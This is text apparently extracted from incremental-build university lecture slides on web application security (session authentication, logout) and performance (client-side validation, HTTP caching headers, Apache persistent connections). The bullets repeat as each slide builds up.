- To stop such an attack, it must be possible to determine if a user is authenticated or not.
- This can be done by storing an object with user information in the session on successful log in.

Force the User to Authenticate

- Do not assume that a user is authenticated just because there is a session.
- A malicious user might create a cookie with the name **`PHPSESSID`**, which is the name used by PHP for session handling. The presence of such a cookie will start a session.
- To stop such an attack, it must be possible to determine if a user is authenticated or not.
- This can be done by storing an object with user information in the session on successful log in.
- Only if there is such information is the user logged in, remember to check for all requests!

Force the User to Authenticate

- Do not assume that a user is authenticated just because there is a session.
- A malicious user might create a cookie with the name **`PHPSESSID`**, which is the name used by PHP for session handling. The presence of such a cookie will start a session.
- To stop such an attack, it must be possible to determine if a user is authenticated or not.
- This can be done by storing an object with user information in the session on successful log in.
- Only if there is such information is the user logged in, remember to check for all requests!
- A positive side effect is that it easy to get information about the current user from this object.

Enable Logging Out

- Provide an easily accessible logout button, available on every page.

Enable Logging Out

- Provide an easily accessible logout button, available on every page.
- If not, an unaware user might forget to log out, thereby preserving the session for an unnecessarily long period, increasing the risk of an attack.

Section

- Non-Functional Requirements
- Security
- Performance
  - Client-Side Validation
  - Caching
  - Persistent Connections

What Is Performance?

- Performance is a vague concept, many different kinds of performance can be considered.

What Is Performance?

- Performance is a vague concept, many different kinds of performance can be considered.
- When talking about performance, it is necessary to define exactly what is considered, and how it is measured.

What Is Performance?

- Performance is a vague concept, many different kinds of performance can be considered.
- When talking about performance, it is necessary to define exactly what is considered, and how it is measured.
- Here, we will consider the following two quantities:

What Is Performance?

- Performance is a vague concept, many different kinds of performance can be considered.
- When talking about performance, it is necessary to define exactly what is considered, and how it is measured.
- Here, we will consider the following two quantities:
  - Response time, which is the time between the end of the request and the beginning of the response. Also the point where time is measured must be defined, for example the outer firewall.

What Is Performance?

- Performance is a vague concept, many different kinds of performance can be considered.
- When talking about performance, it is necessary to define exactly what is considered, and how it is measured.
- Here, we will consider the following two quantities:
  - Response time, which is the time between the end of the request and the beginning of the response. Also the point where time is measured must be defined, for example the outer firewall.
  - Throughput, which is the amount of requests served during a specified time period.

Section

- Non-Functional Requirements
- Security
  - File System Security
  - Input Filtering
  - Database Security
  - Password Encryption
  - Cross Site Scripting, XSS
  - Impersonation
- Performance
  - Client-Side Validation
  - Caching
  - Persistent Connections

Client-Side Validation

- Client-side validation means that user input is validated in JavaScript, in the browser.

Client-Side Validation

- Client-side validation means that user input is validated in JavaScript, in the browser.
- Both response time and throughput are improved by client-side validation, since no request is sent to server when user input is invalid.

Client-Side Validation

- Client-side validation means that user input is validated in JavaScript, in the browser.
- Both response time and throughput are improved by client-side validation, since no request is sent to server when user input is invalid.
- A reasonable amount of client-side validation is to perform the same validations as on the server.

Client-Side Validation

- Client-side validation means that user input is validated in JavaScript, in the browser.
- Both response time and throughput are improved by client-side validation, since no request is sent to server when user input is invalid.
- A reasonable amount of client-side validation is to perform the same validations as on the server.
- There must also be server-side validation, since we can never trust the client.

Section

- Non-Functional Requirements
- Security
  - File System Security
  - Input Filtering
  - Database Security
  - Password Encryption
  - Cross Site Scripting, XSS
  - Impersonation
- Performance
  - Client-Side Validation
  - Caching
  - Persistent Connections

Caching

- Multiple request are sent when loading one single page: images, JavaScript files, CSS files, etc.

Caching

- Multiple request are sent when loading one single page: images, JavaScript files, CSS files, etc.
- As an example, `kth.se` generates 34 requests and `dn.se` generates 271.

Caching

- Multiple request are sent when loading one single page: images, JavaScript files, CSS files, etc.
- As an example, `kth.se` generates 34 requests and `dn.se` generates 271.
- Many of these resources change seldom and are therefore unnecessary to load from server each time.

Caching

- Multiple request are sent when loading one single page: images, JavaScript files, CSS files, etc.
- As an example, `kth.se` generates 34 requests and `dn.se` generates 271.
- Many of these resources change seldom and are therefore unnecessary to load from server each time.
- Response time and throughput improves a lot by appropriate use of caches.

Caching

- Multiple request are sent when loading one single page: images, JavaScript files, CSS files, etc.
- As an example, `kth.se` generates 34 requests and `dn.se` generates 271.
- Many of these resources change seldom and are therefore unnecessary to load from server each time.
- Response time and throughput improves a lot by appropriate use of caches.
- When caching, the resources are loaded from the cache, which is closer to the browser and faster than the web server.

Types of Caches

- The most effective cache is the browser cache. A hit in the browser cache eliminates network traffic.

Types of Caches

- The most effective cache is the browser cache. A hit in the browser cache eliminates network traffic.
- Proxy caches are typically set up by ISPs to reduce their network traffic. Squid, `squid-cache.org` is an example of a proxy cache.

Types of Caches

- The most effective cache is the browser cache. A hit in the browser cache eliminates network traffic.
- Proxy caches are typically set up by ISPs to reduce their network traffic. Squid, `squid-cache.org` is an example of a proxy cache.
- A gateway cache is set up by the server administrator, in front of the web server. A commonly used gateway cache is Varnish, `www.varnish-cache.org`

Types of Caches

- The most effective cache is the browser cache. A hit in the browser cache eliminates network traffic.
- Proxy caches are typically set up by ISPs to reduce their network traffic. Squid, `squid-cache.org` is an example of a proxy cache.
- A gateway cache is set up by the server administrator, in front of the web server. A commonly used gateway cache is Varnish, `www.varnish-cache.org`
- Content delivery networks, CDNs, distribute gateway caches throughout the Internet and sell caching to interested Web sites. Common examples are Akamai (used by svtplay.se) and CloudFlare (used by cdnjs)

Types of Caches (Cont'd)

- The web server itself has a cache, see `httpd.apache.org/docs/2.2/caching.html` for information on caching with apache. Although this does not reduce network traffic, it might eliminate database calls and PHP execution.

Types of Caches (Cont'd)

- The web server itself has a cache, see `httpd.apache.org/docs/2.2/caching.html` for information on caching with apache. Although this does not reduce network traffic, it might eliminate database calls and PHP execution.
- This presentation does not cover setting up a cache. Instead, it focuses on how to use existing caches, that is browser and proxy caches.

What Is Loaded From Cache?

- Caching policies varies, and can also be configured manually.

What Is Loaded From Cache?

- Caching policies varies, and can also be configured manually.
- Following is a (simplification of a) typical method to decide if content shall be served from cache, or if a request to the server is needed.

What Is Loaded From Cache? (Cont'd)

1. Nothing is cached if a do-not-cache response header is set.

What Is Loaded From Cache? (Cont'd)

1. Nothing is cached if a do-not-cache response header is set.
2. Nothing is cached if https is used.

What Is Loaded From Cache? (Cont'd)

1. Nothing is cached if a do-not-cache response header is set.
2. Nothing is cached if https is used.
3. Resource is delivered from cache if originally delivered from server with an expiry time, and that time has not passed.

What Is Loaded From Cache? (Cont'd)

1. Nothing is cached if a do-not-cache response header is set.
2. Nothing is cached if https is used.
3. Resource is delivered from cache if originally delivered from server with an expiry time, and that time has not passed.
4. If the resource's expiry time has passed, and the resource was delivered with a last modified time, the server is asked if the resource is updated. This means the server must be contacted, but it might not be necessary to transfer the entire resource.

What Is Loaded From Cache? (Cont'd)

1. Nothing is cached if a do-not-cache response header is set.
2. Nothing is cached if https is used.
3. Resource is delivered from cache if originally delivered from server with an expiry time, and that time has not passed.
4. If the resource's expiry time has passed, and the resource was delivered with a last modified time, the server is asked if the resource is updated. This means the server must be contacted, but it might not be necessary to transfer the entire resource.
5. Nothing is delivered from cache if bullets 3 and 4 fail.

How to Control Caches

- HTTP headers are the preferred way to provide cache control.

How to Control Caches

- HTTP headers are the preferred way to provide cache control.
- HTML `meta` tags can also be used, but many caches do not open the HTML document, and thereby miss them.

How to Control Caches

- HTTP headers are the preferred way to provide cache control.
- HTML `meta` tags can also be used, but many caches do not open the HTML document, and thereby miss them.
- Yet another alternative is `Pragma` HTTP headers, but they are not part of the HTTP specification, and thus often not considered by caches.

Cache-Related HTTP Headers

Some HTTP headers used for cache control:

Cache-Related HTTP Headers

Some HTTP headers used for cache control:

- **`Expires`** specifies a time in the GMT time zone. After this time, the cache shall check with the server if the resource is updated.

```
Expires: Thu, 02 Oct 2014 14:16:41 GMT
```

Cache-Related HTTP Headers

Some HTTP headers used for cache control:

- **`Expires`** specifies a time in the GMT time zone. After this time, the cache shall check with the server if the resource is updated.

```
Expires: Thu, 02 Oct 2014 14:16:41 GMT
```

- **`Last-Modified`** Specifies the time when the resource was last modified.

```
Last-Modified: Wed, 01 Oct 2014 08:34:51 GMT
```

Cache-Related HTTP Headers

Some HTTP headers used for cache control:

- **Expires** specifies a time in the GMT time zone. After this time, the cache shall check with the server if the resource is updated.

```
Expires: Thu, 02 Oct 2014 14:16:41 GMT
```

- **Last-Modified** Specifies the time when the resource was last modified.

```
Last-Modified: Wed, 01 Oct 2014 08:34:51 GMT
```

- **ETag** A unique identifier generated by the server and changed every time the resource changes.

```
Etag: "a8104f-4c3-504585f9acfcd"
```

Cache-Related HTTP Headers (Cont'd)

- **`Cache-Control`** Can have multiple values, for example:

Cache-Related HTTP Headers (Cont'd)

- **`Cache-Control`** Can have multiple values, for example:
  - **`max-age`** Specifies how many seconds the resource is considered fresh.

Cache-Related HTTP Headers (Cont'd)

- **`Cache-Control`** Can have multiple values, for example:
  - **`max-age`** Specifies how many seconds the resource is considered fresh.
  - **`no-cache`** Forces caches to submit the request to the server for validation, before serving a cached copy.

Cache-Related HTTP Headers (Cont'd)

- **`Cache-Control`** Can have multiple values, for example:
  - **`max-age`** Specifies how many seconds the resource is considered fresh.
  - **`no-cache`** Forces caches to submit the request to the server for validation, before serving a cached copy.
  - **`no-store`** The resource shall never be stored in a cache.

Cache-Related HTTP Headers (Cont'd)

- **`Cache-Control`** Can have multiple values, for example:
  - **`max-age`** Specifies how many seconds the resource is considered fresh.
  - **`no-cache`** Forces caches to submit the request to the server for validation, before serving a cached copy.
  - **`no-store`** The resource shall never be stored in a cache.
  - **`must-revalidate`** Caches must obey **`Expires`** and **`max-age`**. The HTTP specification states that these might otherwise be ignored in some cases.

Cache-Related HTTP Headers (Cont'd)

- **`Cache-Control`** Can have multiple values, for example:
  - **`max-age`** Specifies how many seconds the resource is considered fresh.
  - **`no-cache`** Forces caches to submit the request to the server for validation, before serving a cached copy.
  - **`no-store`** The resource shall never be stored in a cache.
  - **`must-revalidate`** Caches must obey **`Expires`** and **`max-age`**. The HTTP specification states that these might otherwise be ignored in some cases.

```
Cache-Control: max-age=3600, must-revalidate
```

How to Set HTTP Headers

- The PHP **`header`** function sets HTTP headers.

```
header('Expires: Thu, 02 Oct 2014 14:16:41 GMT');
```

How to Set HTTP Headers

- The PHP **`header`** function sets HTTP headers.

```
header('Expires: Thu, 02 Oct 2014 14:16:41 GMT');
```

- Remember that headers precede content, **`header`** must be called before any actual output is sent.

How to Set HTTP Headers

- The PHP **`header`** function sets HTTP headers.

```
header('Expires: Thu, 02 Oct 2014 14:16:41 GMT');
```

- Remember that headers precede content, **`header`** must be called before any actual output is sent.
- Cache related HTTP headers can be set by the web server.

How to Set HTTP Headers

- The PHP **`header`** function sets HTTP headers.

```
header('Expires: Thu, 02 Oct 2014 14:16:41 GMT');
```

- Remember that headers precede content, **`header`** must be called before any actual output is sent.
- Cache related HTTP headers can be set by the web server.
- This can be configured in the server's configuration file, see `https://httpd.apache.org/docs/2.2/mod/mod_expires.html` for the apache server.

Caching Tips

- Always use the same URL for the same resource, since resources are identified by URL.

Caching Tips

- Always use the same URL for the same resource, since resources are identified by URL.
- Use a shared library of images and other resources, so a resource is identified with the same URL as often as possible.

Caching Tips

- Always use the same URL for the same resource, since resources are identified by URL.
- Use a shared library of images and other resources, so a resource is identified with the same URL as often as possible.
- Use a long caching period for images and other resources that seldom change.

Caching Tips

- Always use the same URL for the same resource, since resources are identified by URL.
- Use a shared library of images and other resources, so a resource is identified with the same URL as often as possible.
- Use a long caching period for images and other resources that seldom change.
- Cache also resources that change often, but for a short period. Even caching one minute helps reduce server load.

Caching Tips (Cont'd)

- When deciding caching periods, consider when the cached resource must be updated, not how often it changes. It might be perfectly OK to show an old version for a limited amount of time.

Caching Tips (Cont'd)

- When deciding caching periods, consider when the cached resource must be updated, not how often it changes. It might be perfectly OK to show an old version for a limited amount of time.
- Don't change files unless really needed, since that will change the last modified timestamp.

Caching Tips (Cont'd)

- When deciding caching periods, consider when the cached resource must be updated, not how often it changes. It might be perfectly OK to show an old version for a limited amount of time.
- Don't change files unless really needed, since that will change the last modified timestamp.
- Output of PHP programs can be cached if the output only depends on the URL. Remember to set appropriate headers.

Evaluating Response Headers

- HTTP response headers can be evaluated at `http://redbot.org/`. This works only for servers with a public IP address.

Section

- Non-Functional Requirements
- Security
  - File System Security
  - Input Filtering
  - Database Security
  - Password Encryption
  - Cross Site Scripting, XSS
  - Impersonation
- Performance
  - Client-Side Validation
  - Caching
  - Persistent Connections

Persistent TCP Connections

- With HTTP 1.1, TCP connections are by default reused for multiple HTTP requests.

Persistent TCP Connections

- With HTTP 1.1, TCP connections are by default reused for multiple HTTP requests.
- This can improve response time and throughput quite a lot, since it takes time to establish a new connection.

Persistent TCP Connections

- With HTTP 1.1, TCP connections are by default reused for multiple HTTP requests.
- This can improve response time and throughput quite a lot, since it takes time to establish a new connection.
- To enable this, the **`content-length`** header must be set in the HTTP response, otherwise the client can not know when the response is delivered and the connection is free to reuse.

Configuring Persistent Connections

- By default, the Apache 2.2 server uses persistent connections that are closed after 15 seconds of inactivity.

Configuring Persistent Connections

- By default, the Apache 2.2 server uses persistent connections that are closed after 15 seconds of inactivity.
- Persistent connections are turned on by specifying **`KeepAlive On`** is the configuration file. This is also the default value.

Configuring Persistent Connections

- By default, the Apache 2.2 server uses persistent connections that are closed after 15 seconds of inactivity.
- Persistent connections are turned on by specifying **`KeepAlive On`** is the configuration file. This is also the default value.
- The timeout period is configured with the **`KeepAliveTimeout`** directive, **`KeepAliveTimeout 60`** specifies that connections that are closed after 60 seconds of inactivity.

Configuring Persistent Connections (Cont'd)

- A longer timeout period normally improves performance if there are few concurrent requests.

Configuring Persistent Connections (Cont'd)

- A longer timeout period normally improves performance if there are few concurrent requests.
- With many concurrent requests, performance is worsened with a long timeout, since the server uses too much resources for all open connections.

Configuring Persistent Connections (Cont'd)

- A longer timeout period normally improves performance if there are few concurrent requests.
- With many concurrent requests, performance is worsened with a long timeout, since the server uses too much resources for all open connections.
- The max number of concurrently served requests can be configured with the **`MaxClients`** directive, default is 256.

Configuring Persistent Connections (Cont'd)

- A longer timeout period normally improves performance if there are few concurrent requests.
- With many concurrent requests, performance is worsened with a long timeout, since the server uses too much resources for all open connections.
- The max number of concurrently served requests can be configured with the `MaxClients` directive, default is 256.
- Note that this does not limit the number of open connections.